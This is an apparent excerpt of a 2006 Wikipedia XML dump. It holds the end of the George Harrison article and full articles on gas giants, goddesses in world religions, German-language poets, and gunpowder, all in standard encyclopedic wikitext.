Harrison used pseudonyms well before his work as a [[Traveling Wilburys|Traveling Wilbury]]. Some of these were due to his recording contracts - he could legally not be credited as himself on many collaborations, and others were merely humourous and often self-deprecating. Some of the aliases George used were Arthur Wax, Bette Y El Mysterioso, Carl Harrison, George H., George Harrysong, George O'Hara, George O'Hara-Smith, The George O'Hara-Smith Singers, George Ohnothimagen Harrison, Hari Georgeson, Jai Raj Harisein, L'Angelo Mysterioso, P. Roducer, and Son of Harry.

==See also==
* [[List of notable brain tumor patients]]

==Discography==
''For a detailed discography, see: [[George Harrison discography]]''

==External links==
{{wikiquote}}
*[http://georgeharrison.com/ GeorgeHarrison.com] &amp;mdash; Official Site
* {{imdb name|id=0365600|name=George Harrison}}
*[http://www.cnn.com/2001/SHOWBIZ/Music/11/30/harrison.obit/ &quot;''Beatle George Harrison dies''&quot;] &amp;mdash; [[CNN.com]] article dated [[1 December]] [[2001]]
*[http://home.att.net/~chuckayoub/the_beatles_video_28.htm Sound clip on the life of George Harrison]
*[http://news.bbc.co.uk/1/hi/entertainment/music/1492446.stm &quot;''George Harrison dies''&quot;] &amp;mdash; [[BBC News]] article dated [[30 November]] [[2001]]
*[http://news.bbc.co.uk/1/hi/entertainment/music/1430259.stm &quot;''George Harrison: Life in pictures''&quot;] &amp;mdash; Life story of George in pictures, BBC News dated [[30 November]] [[2001]]
*[http://news.bbc.co.uk/1/hi/entertainment/music/1432634.stm &quot;''George Harrison: The quiet Beatle''&quot;] &amp;mdash; Profile by BBC News dated [[30 November]] [[2001]] (more pictures can be found here) [http://news.bbc.co.uk/1/hi/uk/583411.stm UK version with different pictures]
*[http://georgeharrison.lyrics.info/ George Harrison lyrics] &amp;mdash; A complete collection of lyrics organized by album from [http://lyrics.info/ lyrics.info]
*[http://www.thebeatles.com.hk/george/ The Beatles Studio: George Harrison] A Hong Kong based fansite with lyrics, discography and many George Harrison information.
*[http://www.beatlelinks.net BeatleLinks]
*[http://govinda.nu/music/artist/george-harrison/index.htm George Harrison Songs]
*[http://www.lyricsdir.com/george-harrison-lyrics.html George Harrison Lyrics]
*[http://www.guitarz-for-ever.com/guitarist-george-harrison.html Guitarist George Harrison]  
* http://www.geocities.com/shakin_stacks/georgeharrison.txt  

{{George Harrison}}
{{The Beatles}}

[[Category:The Beatles|Harrison, George]]
[[Category:Apple Records recording artists|Harrison, George]]
[[Category:1943 births|Harrison, George]]
[[Category:2001 deaths|Harrison, George]]
[[Category:Sitar players|Harrison, George]]
[[Category:British guitarists|Harrison, George]]
[[Category:British male singers|Harrison, George]]
[[Category:Rock and Roll Hall of Fame inductees|Harrison, George]]
[[Category:British songwriters|Harrison, George]]
[[Category:English film actors|Harrison, George]]
[[Category:George Harrison| ]]
[[Category:People of Irish descent in Great Britain|Harrison, George]]
[[Category:Catholics_not_in_communion_with_Rome]]
[[Category:Liverpudlians|Harrison, George]]
[[Category:Music from Liverpool, England|Harrison, George]]
[[Category:Members of the British Empire|Harrison, George]]
[[Category:Deaths by lung cancer|Harrison, George]]
[[Category:Entertainers who died in their 50s|Harrison, George]]

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  </page>
  <page>
    <title>Gas giant</title>
    <id>12733</id>
    <revision>
      <id>41412355</id>
      <timestamp>2006-02-27T03:45:59Z</timestamp>
      <contributor>
        <username>Bk0</username>
        <id>65294</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''This article refers to an astronomical phenomenon.  For the rock band, see [[Gas Giants]]''

A '''gas giant''' (sometimes also known as a '''Jovian planet''' after the planet [[Jupiter]]) is a  large [[planet]] that is not primarily composed of [[Rock (geology)|rock]] or other solid [[matter]]. Gas giants may have a rocky or metallic core&amp;mdash;in fact, such a core is thought to be required for a gas giant to form&amp;mdash;but the majority of its mass is in the form of [[gas]] (or gas compressed into a liquid state), mainly [[hydrogen]] and [[helium]]. Unlike rocky planets, which have a clearly defined difference between atmosphere and surface, gas giants do not have a well-defined surface; their atmospheres simply become denser toward the core. Thus, terms such as [[diameter]], [[surface area]], [[volume]], surface [[temperature]] and surface [[density]] may refer only to the outermost layer visible from space. 

[[Image:Gas giants large.jpg|thumb|right|200px|Jovian planets|From top: Neptune, Uranus, Saturn, and Jupiter (sizes not to scale).]]

There are four gas giants in our [[solar system]]: [[Jupiter (planet)|Jupiter]], [[Saturn (planet)|Saturn]], [[Uranus (planet)|Uranus]], and [[Neptune (planet)|Neptune]]. Uranus and Neptune may be considered as a separate subclass of giant planets, 'ice giants', or 'Uranian planets', as they are mostly composed of [[ice]], [[rock (geology)|rock]] and gas, unlike the &quot;traditional&quot; gas giants Jupiter or Saturn. However, they share the same qualities of the lack of the solid surface; their differences stem from the fact that their proportion of hydrogen and helium is lower, due to their greater distance from the Sun.

==Common features==
The four solar system gas giants share a number of features.  All have atmospheres that are mostly hydrogen and helium and that blend into the liquid interior at pressures greater than the [[critical pressure]], so that there is no clear boundary between atmosphere and body.  They have very hot interiors, ranging from about 5000 [[kelvin|K]] for Neptune to over 20,000 K for Jupiter.  This great heat means that, beneath their atmospheres, the planets are most likely entirely [[liquid]].  Thus, when discussions refer to a &quot;rocky core&quot;, one should not picture a ball of solid [[granite]], or even, at 20,000 K, liquid granite.  Rather, what is meant is a region in which the concentration of heavier elements such as iron and silicon is greater than that in the rest of the planet.

All four planets rotate relatively rapidly, which causes wind patterns to break up into east-west bands or stripes.  These bands are prominent on Jupiter, muted on Saturn and Neptune, and barely detectable on Uranus.

Finally, all four are accompanied by elaborate systems of [[planetary ring|rings]] and [[natural satellite|moon]]s. Saturn's rings are the most spectacular, and were the only ones known before the [[1970s]].  [[As of 2004]], Jupiter is thought to have the most moons, with more than sixty.

==Jupiter and Saturn==

Jupiter and Saturn consist almost entirely of hydrogen and helium, and they are so large that this is true even though both are thought to have several Earth masses of heavier elements. Their interiors consist of liquid [[metallic hydrogen]], a form of hydrogen distinguished by the fact that it conducts electricity. Both planets have magnetic fields oriented fairly close to their axes of rotation.

==Uranus and Neptune==

Uranus and Neptune have distinctly different interior compositions, with the bulk of their interiors thought to consist of a mixture (or layered assortment) of rock, [[water]], [[methane]], and [[ammonia]].  Both have magnetic fields that are sharply inclined to their axes of rotation.

==Terminology==

The term was coined by the science fiction writer [[James Blish]].  Arguably it is a somewhat of a misnomer, since throughout most of the volume of these planets, there is no distinction between liquids and gases, since all the components (other than solid materials in the core) are above the [http://www.cartage.org.lb/en/themes/Sciences/Chemistry/Miscellenous/Helpfile/LiquidandSolid/PhaseDiagrams/PhaseDiagrams.htm critical point], so that the transition between gas and liquid is smooth. Jupiter is an exceptional case, having metallic hydrogen near the center, as explained above, but much of its volume is hydrogen, helium and traces of other gases above their critical points. The observable atmospheres of any of these planets (at less than unit [[optical depth]]) are quite thin compared to the planetary radii, only extending perhaps one percent of the way to the center. Thus the observable portions are gaseous (in contrast to Mars and Earth, which have gaseous atmospheres through which the crust may be seen.

The rather misleading term has caught on because planetary scientists typically use 'rock', 'gas', and 'ice' as shorthands for classes of elements and compounds commonly found as planetary constituents, irrespective of what [[phase of matter|phase]] they appear in.  In the outer solar system, hydrogen and helium are &quot;gases&quot;; water, methane, and ammonia are &quot;ices&quot;; and silicates are rock.  When deep planetary interiors are considered, it may not be far off to say that, by &quot;ice&quot; astronomers mean [[oxygen]] and [[carbon]], by &quot;rock&quot; they mean [[silicon]], and by &quot;gas&quot; they mean [[hydrogen]] and [[helium]].

The alternative term &quot;Jovian planet&quot; refers to the Roman god [[Jupiter]]&amp;mdash;a form of which is ''Jovis'', hence ''Jovian''&amp;mdash;and was intended to indicate that all of these planets were similar to Jupiter. However, the many ways in which Uranus and Neptune differ from Jupiter and Saturn have led some to use the term only for the latter two.  

With this terminology in mind, some astronomers are starting to refer to Uranus and Neptune as &quot;Uranian planets&quot; or &quot;'''ice giants'''&quot;, to indicate the apparent predominance of the &quot;ices&quot; (in liquid form) in their interior composition.

==Extrasolar gas giants==

Because of the limited techniques currently available to detect [[extrasolar planet]]s, all of those found to date have been of a size associated, in our Solar system, with gas giants. The smallest found, as of September 2004, is comparable in mass to Neptune, and many have masses several times that of Jupiter. Because they are inferred to share more in common with Jupiter than with the other gas giant planets, some have claimed that &quot;Jovian planet&quot; is a more accurate term for them. Many of the extrasolar planets are much closer to their parent stars and hence much hotter than gas giants in the solar system, making it possible that some of those planets are a type not observed in our solar system.  Considering the relative abundances of the elements in the universe (approximately 90% hydrogen), it would be surprising to find a predominantly rocky planet more massive than Jupiter.  On the other hand, previous models of planetary system formation suggested that gas giants would be inhibited from forming as close to their stars as have many of the new planets that have been observed.

[[Image:Géantes gazeuses (1 px = 1000 km).jpg|thumb|center|550px|The solar system's four gas giants against the Sun's limb, to scale]]

The upper mass limit of a gas giant planet is approximately 70 times that of Jupiter (around 0.08 times the mass of the [[Sun]]). Above this point, the intense heat and pressure at the planet's core begin to induce [[nuclear fusion]] and the planet ignites to become a [[red dwarf]].  Interestingly there appears to be a mass gap between the heaviest gas giant planets detected (about 10 times the mass of Jupiter) and the lightest red dwarfs. This has led to suggestions that the formation process for planets and [[binary star|binary stars]] may be fundamentally different.

== See also ==
*[[brown dwarf]]
*[[terrestrial planets]]
*[[solar system]]
*[[planetary system]]
*[[Floating cities (science fiction)|floating cities]]

[[Category:Planets]]

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  </page>
  <page>
    <title>Goddess</title>
    <id>12734</id>
    <revision>
      <id>42077935</id>
      <timestamp>2006-03-03T17:51:49Z</timestamp>
      <contributor>
        <username>Bloodofox</username>
        <id>308199</id>
      </contributor>
      <minor />
      <comment>/* Wicca and Neopaganism */</comment>
      <text xml:space="preserve">[[Image:Ceres_statue.jpg|frame|Ceres, the Roman goddess of agriculture]]
A '''goddess''' is a female [[deity]], in contrast with a male deity known as a &quot;[[god (male deity)|god]]&quot;. A great many cultures have goddesses, sometimes alone, but more often as part of a larger [[wiktionary:pantheon|pantheon]] that includes both of the conventional genders and in some cases even [[hermaphroditic]] (or [[gender neutral]]) deities.

As the concept of [[monotheism]] and [[polytheism]] can be relativistic, so too can related concepts be culturally misunderstood. The concept of gender as applied to a god and goddess, may connote deeper tendencies of [[patriarchy]] and [[matriarchy]], which may have equivalence to the rift between monotheism and polytheism. The '''Goddess''' concept is advocated by modern matriarchs and [[pantheists]] as a female version of, or analogue to [[God]], (i.e. the [[Abrahamic god]]) who in [[feminist]] and other circles is perceived as being rooted in patriarchal concept of dominance&amp;mdash; much to the exclusion of feminine concepts.

Use of parallel language such as &quot;patriarchy&quot; and &quot;matriarchy&quot; to indicate gender tendencies can add to the misunderstanding of the social organizational preferences of women and men, as evidenced in archaeological and cultural anthropological findings.

The feminine-masculine relationship between deifications is sometimes rooted in [[monism]], (&quot;One-ism&quot;) rather than through a definitive and rigid concept of [[monotheism]] versus [[polytheism]], wherein the '''Goddess''' and '''God''' are seen as the genders of one transcendental monad.

==Ancient Near East==
{{stubsection}}
===Egypt===
{{main|Egyptian religion}}
*[[Isis]]

===Mesopotamia===
{{main|Sumerian religion}}
*[[Ninhursag]]
*[[Tiamat]]
*[[Ishtar]]
*[[Lilit]]

===Arabia===

In the pagan religion prevalent in Arabia before [[Islam]], a number of goddesses were worshipped, including the three referred to as daughters of [[Allah]]: [[Al-Lat]], [[Al-Uzza]] and [[Manah]].

==Indo-European religion==
{{main|Indo-European religion}}

=== Hinduism ===

[[Hinduism]] is a complex of various belief systems that sees many gods and goddesses as being representative of and/or emanative from a single source, [[Brahman]], understood either as a formless, infinite, impersonal monad in the [[Advaita]] tradition or as a dual God in the form of [[Lakshmi]]-[[Vishnu]], [[Radha]]-[[Krishna]], [[Devi]]-[[Shiva]] in [[Dvaita]] traditions. [[Shaktas]], worshippers of the Goddess, equate this God with [[Devi]], the mother goddess. Such aspects of One God as male God ([[Shaktiman]]) and female energy ([[Shakti]]), working as a pair are often envisioned as male gods and their wives or consorts and provide many analogues between passive male ground and dynamic female energy. [[Brahma (god)|Brahma]] pairs with [[Sarasvati]] and Shiva with [[Uma (goddess)|Uma]], [[Parvati]], or Durga. [[Kali]] is a form of [[Parvati]].

A further step was taken by the idea of the ''Shaktis''. Their ideology based mainly on [[tantra]]s sees Shakti as the principle of energy through which all divinity functions, thus showing the masculine to be dependent on the feminine. Indeed, in the great shakta scripture known as the [[Devi Mahatmya]], all the goddesses are shown to be aspects of one presiding female force, one in truth and many in expression, giving the world and the cosmos the galvanic energy for motion. It is expressed through both philosophical tracts and metaphor that the potentiality of masculine being is given actuation by the feminine divine.

Local deities of different village regions in [[India]] were often identified with &quot;mainstream&quot; Hindu deities, a process that has been called &quot;Sanskritization&quot;. Others attribute it to the influence of [[monism]] or ''Advaita'' which discounts polytheist or monotheist categorization.

While the monist forces have led to a fusion between some of the goddesses (108 names are common for many goddesses), centrifugal forces have also resulted in new goddesses and rituals gaining ascendance among the laity in different parts of Hindu world. Thus, the immensely popular goddess [[Durga]] was a pre-Vedic goddess who was later fused with Parvati, a process that can be traced through texts such as Kalika Purana ([[10th century]]), Durgabhaktitarangini ([[Vidyapati]] [[15th century]]), Chandimangal ([[16th century]]) etc.

===Graeco-Roman religion===
{{main articles|[[Greek religion]] and [[Roman religion]]}}
*[[Potnia Theron]]
*[[Demeter]]
*[[Cybele]]

===Celtic religion===
{{main|Celtic paganism}}
*[[Dea Matrona]]
*[[Sulis]], [[Verbeia]]
*[[Brigid]]
*[[Agrona]], [[Mórrígan]]

===Germanic religion===
{{main|Germanic paganism}}
Surviving accounts of indigenous Germanic paganism contain numerous female deities, giantesses and goddesses.
*[[Freya]]
*[[Frigg]]
*[[Fulla]]
*[[Gná]]
*[[Hel (being)|Hel]]
*[[Hlín]]
*[[Iðunn]]
*[[Nanna (Norse deity)|Nanna]]
*[[Nerthus]]
*[[Norns]]
*[[Skaði]]
*[[Sol (goddess)|Sol]]

== Abrahamic religions ==

[[Monotheism|Monotheist]] cultures, which recognise only one central deity, generally do characterize that deity as male, implicitly already grammatically by using masculine [[gender (grammar)|gender]], but also explicitly by terms such as &quot;Father&quot; or &quot;Lord&quot;. In all monotheist religions, however, there are mystic undercurrents which emphasize the feminine aspects of the godhead, e.g. the [[Collyridians]] in the time of early Christianity, who viewed [[Mary, the mother of Jesus | Mary]] as a Goddess, the medieval visionary [[Julian of Norwich]], the [[Judaism | Judaic]] [[Shekinah]] and the [[Gnostic]] [[Sophia (gnosticism)|Sophia]] traditions, and some [[Sufism | Sufi]] texts in [[Islam]].

===Judaism===
[[Ancient Hebrew]], as well as [[Modern Hebrew]] have no neuter gender, only male and female.  Although Judaism uses masculine words to describe God, Judaism maintains that God has no gender.  A balance was undertaken where God would be referred to in a masculine role, the majority of objects related to worship in [[Judaism]] such as the [[Torah]] would be referred to in a female gender.

===Christianity===
Belief in a feminine deity under Christianity was usually deemed heretical, and characteristic of heresy. Catholic and Orthodox veneration for [[Mary]] clearly continue 

Since the 1980s Christian feminists have challenged this view; some such as [[Mary Daly]] no longer consider themselves Christian but others continue to seek room within their traditions for the Divine Feminine and for female spiritual leadership. (See [[thealogy]].)

===Islam===
[[Salman Rushdie]] in the [[1990s]] brought to the limelight the issue of remnants of pre-Islamic female deities in Islam.  At the core of the argument is the following apocryphal verse which appears as a quotation in [[The Satanic Verses (novel)]]:

:  (''tilk-al-gharaniq al-'ula wa inna shafa'ata-hunna la-turtaja'' - p.340 Viking, New York) meaning &quot;These are the exalted females [literally, cranes] whose intercession is to be desired.&quot; (In [[Arabic (language)|Arabic]] تلك الغرانيق العلى وإن شفاعتهن لترتجى.)
 
These lines are an [[antithesis]] of the strong monotheism that is Islam, and attributing it to the Prophet is blasphemy.  The lines however, are part of a historical debate - they appear in the work of two early Arab historians (al-Waqidi, [[747]]-[[823]], and at-Tabari, [[839]]-[[923]]), but repudiated by later Islamic scholars.  The controversial sentence, known as [[Satanic Verses]] in the debate, was well known to Rushdie who wrote a paper on Muhammad for his [[University of Cambridge|Cambridge]] [[tripos]] in history.
The story is that these lines were inserted into the [[Qur'an]] by Muhammad so as 
to alleviate the persecution of the faithful by those who believed strongly in these goddesses.  However, later these lines were recanted:

:He stands in front of the statues of the Three and announces the abrogation of the verses which Shaitan [Satan] whispered in his ear. These verses are banished from the true recitation, al qur'an. New verses are thundered in their place. 'Shall He have daughters and you sons?' Mahound recites. 'That would be a fine division! These are but names you have dreamed of, and your fathers. Allah vests no authority on them.' - p.124

[[Muhammad Haykal]] (author of the &quot;Life of Muhammad&quot;) comments that &quot;the story arrested the attention of the western [[Orientalist]]s who took it as true and repeated it ad nauseam.&quot; (Haykal 105). According to Haykal, The controversy over what is known as the &quot;Gharaniq incident&quot; is that it is a fabrication created by the unbelievers of [[Mecca]] in the early days of [[Islam]]. The main argument against the authenticity of the two verses in Haykal's work and elsewhere is that &quot;its incoherence is evident upon the least scrutiny. It contradicts the infallibility of every prophet in conveying the message of His Lord.&quot; (Haykal 107). Haykal then concluded that &quot;this story of the goddesses is a fabrication and a forgery, authored by the enemies of Islam after the first century of [[Hijrah]]&quot; (Haykal 144). [http://www.satanicverses.mihanblog.com/?ArticleId=8]

==New religious movements==

===Wicca and Neopaganism===
[[Wicca|Wiccan]] practice generally includes veneration of the Great Goddess along with the [[Horned God]], though [[Dianic Wicca|Dianic Wiccans]] celebrate only the Goddess or goddesses. Wiccan mythology mostly draws on historicallly inaccurate depictions of European mythology while other neopagans (such as groups of [[Germanic neopaganism|Germanic neopagans]], for example) are interested in maintaining as much historical accuracy as possible in [[Polytheistic reconstructionism|reconstructing]] various ancient pagan religions directly. Some neopagans today draw a connection between a Mother Earth goddess (or goddesses) and ecological concerns.

In Wiccan, some [[New Age]] and Wiccan-influenced religions, the Goddess can appear as the &quot;Lady of the Ten Thousand Names&quot;, as did [[Isis]]. Adherents refer to her as 'Queen of Heaven', 'Lady of the Beasts', 'Creatrix' and just 'the Lady.' Worshippers sometimes approach her through &quot;different aspects,&quot; represented by often culturally unrelated goddesses such as [[Sarasvati]], [[Lakshmi]], [[Uma]], [[Kali]] (of the [[Hindu]] tradition), Isis, [[Guan Yin]], [[Pele (Goddess)|Pele]] or [[Athena]] in a form of [[universalism]].

Some Wiccans perceive the goddess [[Aradia (goddess)|Aradia]] as a kind of [[messiah | messianic]] Daughter deity. They revere the ''yoni'' or [[vulva]] as a symbol of the Goddess, together with the cowrie shell, the (Moon) Crescent, the Earth, the Serpent, the Tree, the five pointed [[pentagram]] and the Eight Pointed Star, the Quartered Circle (compare [[Celtic Cross]]), and many animals and birds.

====Triple Goddess====
[[Image:Triple-Goddess-Waxing-Full-Waning-Symbol.png|thumb|right|212px|The lunar [[Triple Goddess]] symbol.]]
Goddesses or demi-goddesses appear in sets of three in a number of ancient European pagan mythologies; these include the Greek ''[[Erinyes]]'' (Furies) and ''[[Moirae]]'' (Fates); the Norse ''[[Norns]]'' (Fates); [[Brighid]] and her two sisters, also called Brighid, from Irish or Keltoi mythology, and so on. One might also see the three witches in Shakespeare's [[Macbeth]] as following this pattern. [[Robert Graves]]  popularised the triad of &quot;Maiden&quot; (or &quot;Virgin&quot;), &quot;Mother&quot; and &quot;Crone&quot;, and while this idea did not rest on sound scholarship, his poetic inspiration has gained a tenacious hold. Considerable variation in the precise conceptions of these figures exists, as typically occurs in Neopaganism and indeed in pagan religions in general. Some choose to interpret them as three 
stages in a woman's life, separated by [[menarche]] and [[menopause]]. Others find this too biologically based and rigid, and prefer a freer interpretation, with the Maiden as birth (independent, self-centred, seeking), the Mother as giving birth (interrelated, compassionate nurturing, creating), and the Crone as death and renewal (wholistic, remote, unknowable) &amp;mdash; and all three erotic and wise. 

Often three of the four phases of the [[moon]] (waxing, full, waning) symbolise the three aspects of the Triple Goddess: put together they appear in a single symbol comprising a circle flanked by two mirrored crescents. Some, however, find the triple incomplete, and prefer to add a fourth aspect. This might be a &quot;Dark Goddess&quot; or &quot;Wisewoman&quot;, perhaps as suggested by the missing dark of the moon in the symbolism above, or it might be a specifically erotic goddess standing for a phase of life between Maiden (Virgin) and Mother, or a [[Warrior]] between Mother and Crone.  There is a male counterpart of this in the English poem &quot;The Parlement of the Thre Ages&quot;.

The Triple Goddess as Maiden, Mother and Crone has also reached modern popular culture, such as [[Neil Gaiman]]'s own conception of the Furies in ''[[The Sandman (DC Comics Modern Age)|The Sandman]]'', and elsewhere.

=== Religious feminism ===
:''Main article: [[Goddess movement]]''

The Goddess movement is a religious movement in the West focused on goddesses or more usually a single &quot;Great Goddess&quot;.
{{sectstub}}

== Secular use ==

The term &quot;goddess&quot; has recently found an ever more popular and secular use, to describe the [[sex appeal]] in women that men succumb to. Young single ladies (see [[Bridget Jones]]) want to feel like &quot;a goddess&quot;. Extremely desirable actresses, singers, sportswomen and other lady celebrities are often described by the Sunday press as &quot;sex goddesses&quot; (see [[Marilyn Monroe]], [[Elle MacPherson]], [[Kylie Minogue]], [[Anna Kournikova]], etc.) Several TV advertisements promptly took advantage of this trend (e.g. [[Gillette]] Venus ladies' razors). The term Goddess can also be used in a BDSM sense, instead of using the title Mistress, some women pefer the term Goddess

There is also the term &quot;[[domestic goddess]]&quot;.

== See also ==
* [[God (male deity)]]
* [[Charge of the Goddess]]
* [[Goddess movement]]
* [[Goddess worship]]
* [[List of deities]]
* [[Mythology]]
* [[Paganism]]
* [[Polytheism]]
* [[Pantheism]]
* [[Deities]]
* [[Triple deities]]

[[Category:Goddesses]]
[[Category:New Age]]

[[de:Göttin]]
[[es:Diosa]]
[[eo:Diino]]
[[fr:Déesse]]
[[ja:&amp;#22899;&amp;#31070;]]
[[sl:boginja]]
[[sv:Gudinna]]</text>
    </revision>
  </page>
  <page>
    <title>List of German language poets</title>
    <id>12736</id>
    <revision>
      <id>38745968</id>
      <timestamp>2006-02-08T09:50:49Z</timestamp>
      <contributor>
        <ip>212.144.10.60</ip>
      </contributor>
      <comment>/* H */</comment>
      <text xml:space="preserve">[[Poet]]s whose primary work was in the [[German language]]:

''See also:'' [[poetry]], [[German literature]], [[List of German-language authors]]

__NOTOC__
{{compactTOC}}

==A==
:[[Alfred Andersch]]
:[[Achim von Arnim]]
:[[Bettina von Arnim]]
:[[Hans Arp]]
:[[H.C. Artmann]]
:[[Rose Ausländer]]

==B==
:[[Ingeborg Bachmann]]
:[[Hugo Ball]]
:[[Johannes Robert Becher]]
:[[Gottfried Benn]]
:[[Thomas Bernhard]]
:[[Nicolas Born]]
:[[Volker Braun]]
:[[Bertolt Brecht]] 
:[[Rolf Dieter Brinkmann]]
:[[Clemens von Brentano]]
:[[Johannes Bobrowski]]
:[[Rudolf Borchard]]
:[[Elisabeth Borchards]]
:[[Wilhelm Busch]]

==C==
:[[Paul Celan]]
:[[Hanns Cibulka]]

==D==
:[[Tankred Dorst]]
:[[Annette von Droste-Hülshoff]]

==E==
:[[Günter Eich]]
:[[Joseph von Eichendorff]]
:[[Hans Magnus Enzensberger]] 
:[[Wolfram von Eschenbach]]

==F==
:[[Gerhard Falkner]]
:[[Erich Fried]]

==G==
:[[Stefan George]]
:[[Johann Wolfgang von Goethe]]
:[[Yvan Goll]]
:[[Günter Grass]]
:[[Durs Grünbein]]

==H==
:[[Peter Handke]]
:[[Heinrich Heine]]
:[[Helmut Heißenbüttel]]
:[[Georg Herwegh]]
:[[Hermann Hesse]]
:[[Georg Heym]]
:[[Jacob van Hoddis]]
:[[Arno Holz]]
:[[Friedrich Hölderlin]]

==I==
==J==
:[[Ernst Jandl]]
:[[Johannes Jansen]]
:[[Elfriede Jelinek]]
:[[Ernst Jünger]]

==K==
:[[Erich Kästner]]
:[[Gottfried Keller]]
:[[Gottfried Kinkel]]
:[[Sarah Kirsch]]
:[[Rainer Kirsch]]
:[[Karin Kiwus]]
:[[Friedrich Gottlieb Klopstock]]
:[[Helmut Krausser]]
:[[Thomas Kling]]
:[[Karl Krolow]]
:[[Thomas Kunst]]

==L==
:[[Else Lasker-Schüler]]
:[[Alfred Lichtenstein]]

==M==
:[[Karl May]]
:[[Friederike Mayröcker]]
:[[Ernst Meister]]
:[[Karl Mickel]]
:[[Christian Morgenstern]]
:[[Heiner Müller]]
:[[Inge Müller]]

==N==
:[[Helga M. Novak]]
:[[Novalis]] (Friedrich von Hardenberg)&lt;!-- Sorting is &quot;Novalis&quot; ... &quot;Remarque&quot; --&gt;
==O==

==P==
:[[August, Graf von Platen]]
:[[Reinhard Priessnitz]]

==Q==
==R==
:[[Rainer Maria Rilke]]
:[[Friedrich Rückert]]
==S==
:[[Hans Sachs]]
:[[Nelly Sachs]]
:[[Friedrich Schiller]]
:[[Kurt Schwitters]]
:[[Friedrich Leopold Graf zu Stolberg]]
:[[Moritz, Graf von Strachwitz]]
:[[Botho Strauss]]

==T==
:[[Ludwig Tieck]]
:[[Georg Trakl]]
:[[Hugo von Trimberg]]
:[[Süßkind von Trimberg]]
:[[Kurt Tucholsky]]

==U==
==V==
:[[Walther von der Vogelweide]]
:[[Johann Heinrich Voss|Johann Heinrich Voß]]

==W==
:[[Robert Walser (writer)|Robert Walser]]
:[[Otfried von Weissenburg]]

==X==
==Y==
==Z==

== External links ==
*[http://gutenberg.spiegel.de/autoren.htm Projekt Gutenberg-DE: all authors]
*[http://ebbertz.dbmk.de/links/Literatur/Autoren_und_Autorinnen/ List of authors]
*[http://germanpoetry.blogspot.com German Poetry]


[[de:Liste deutschsprachiger Dichter]]
[[fr:Liste_de_poètes_de_langue_allemande]]


[[Category:Lists of poets|German]]</text>
    </revision>
  </page>
  <page>
    <title>Gunpowder</title>
    <id>12737</id>
    <revision>
      <id>41996472</id>
      <timestamp>2006-03-03T02:54:14Z</timestamp>
      <contributor>
        <username>Au And Cs</username>
        <id>448772</id>
      </contributor>
      <text xml:space="preserve">[[Image:N110_ruuti.jpg|thumb|250px|Smokeless powder]]
'''Gunpowder''', whether '''[[Black powder | black powder]]''' or '''[[Smokeless powder | smokeless powder]]''', is a substance that burns very rapidly, releasing gases that act as a propellant in firearms. Gunpowder is a low explosive. As it burns, a subsonic [[deflagration]] wave is produced rather than the supersonic [[detonation]] wave which [[Explosive material#High Explosives|high explosives]] produce. As a result, pressures generated inside a gun are sufficient to propel a bullet, but not sufficient to destroy the barrel. At the same time, this makes gunpowder less suitable for shattering rock or fortifications, applications where high explosives are preferred.

[[Image:Mooko-Suenaga.jpg|thumb|290px|A Mongol bomb thrown against a charging Japanese Samurai during the [[Mongol Invasions of Japan]], [[1281]].]]
Gunpowder is considered one of the Chinese's [[Four Great Inventions of ancient China|Four Great Inventions]].
The first type of gunpowder was [[black powder]].  Neither its inventors nor exact date of creation is known. Historians of various cultures have postulated that it was invented between the seventh or ninth centuries by either the [[Chinese]] or the [[Arabs]]. Others  credit [[Roger Bacon]], an English [[Alchemy|Alchemist]]. It is also possible that black powder was invented by many cultures at around the same time. Regardless of origin, it was the first chemical propellant and the first 
explosive recorded in history.

Black powder is a mixture of saltpetre ([[potassium nitrate]] or, less frequently, [[sodium nitrate]]), [[sulfur|sulphur]] and  [[charcoal]] with a ratio (by weight) of approximately 15:3:2 respectively. The ratio has altered over the centuries of its use, and can be altered somewhat depending on the purpose of the powder. Unlike smokeless propellants, it acts more like an explosive since its burn rate is not affected by pressure, but it is a very poor explosive because it has a very slow decomposition rate and therefore a very low [[brisance]].  This same property that makes it a poor explosive makes it useful as a propellant — the lack of brisance keeps the black powder from shattering the barrel, and directs the energy to propelling the bullet. Historically, potassium nitrate was [[Potassium nitrate#Manufacture|extracted]] from manure by a process superficially similar to composting. '''Nitre beds''' took about a year to produce crystallized potassium nitrate.

The main disadvantages of black powder are a relatively low energy density (compared to modern smokeless powders) and the extremely large quantities of soot left behind.  During the combustion process, less than half of black powder is converted to gas. The rest ends up as a thick layer of soot inside the barrel and a dense cloud of white smoke. In addition to being a nuisance, the residue in the barrel is hydrophilic and an anhydrous caustic substance.  When moisture from the air is absorbed, the [[Potassium Oxide|potassium]] or [[Sodium Oxides|oxide]] turn into [[hydroxide|hydroxides]], which will corrode [[wrought iron]] or [[steel]] gun barrels.  Black powder arms must be well cleaned inside and out after firing to remove the residue. The size of the granules of powder and the confinement determine the burn rate of black powder.  Finer grains result in a closer mix of the ingredients, which results in a faster burn.  Tight confinement in the barrel causes a column of black powder to explode, which is the desired result.  Not seating the bullet firmly against the powder column can result in a harmonic shockwave, which can create a dangerous overpressure condition and damage the gun barrel.  One of the advantages of [[black powder]] is that precise loading of the charge is not as vital as with smokeless powder firearms and is carried out using volumetric measures rather than precise weight. However, overloading  causing  damage to a gun and its shooter is still possible.  The lack of pressure sensitivity means that the mass of the bullet makes little or no difference to the amount of powder used.  A full charge of black powder seated by just a small wad of paper, with no bullet, will still burn just as quickly as if it had a full weight bullet in front of it.  This makes black powder well suited for blank rounds, signal flares, and rescue line launches.

==See also==
{{wiktionarypar|gunpowder}}
*[[Firework]]
*[[Cannon]]
*[[Musket]]
*[[Arquebus]]
*[[Guns]]

==External links and references==
*[http://www.silk-road.com/artl/gun.shtml Gun and Gunpowder]
*[http://www.geocities.com/Athens/2430/gporigins.html The Origins of Gunpowder]
*[http://www.du.edu/~jcalvert/tech/cannon.htm Cannons and Gunpowder]
*[http://www.gabarin.com/ayh/Articles/articles%203.htm History of Science and Technology in Islam]
*[http://www.musketeer.ch/blackpowder/powder_frameset.html Ulrich Bretschler's Gunpowder Chemistry page]
*[http://www.rsc.org/chemistryworld/restricted/2006/January/letters.asp A letter on gunpowder chemistry and sodium vs. potassium nitrate]
[[Category:Explosives]]
[[Category:Firearm propellants]]
[[Category:Granular materials]]

[[ar:بارود]]
[[cs:Střelný prach]]
[[da:Krudt]]
[[de:Schießpulver]]
[[es:Pólvora]]
[[fa:باروت]]
[[he:אבק שריפה]]
[[ja:火薬]]
[[nl:buskruit]]
[[no:Krutt]]
[[pl:Proch]]
[[sk:Pušný prach]]
[[sl:smodnik]]
[[fi:Ruuti]]
[[sv:Krut]]
[[zh:火药]]</text>
    </revision>
  </page>
  <page>
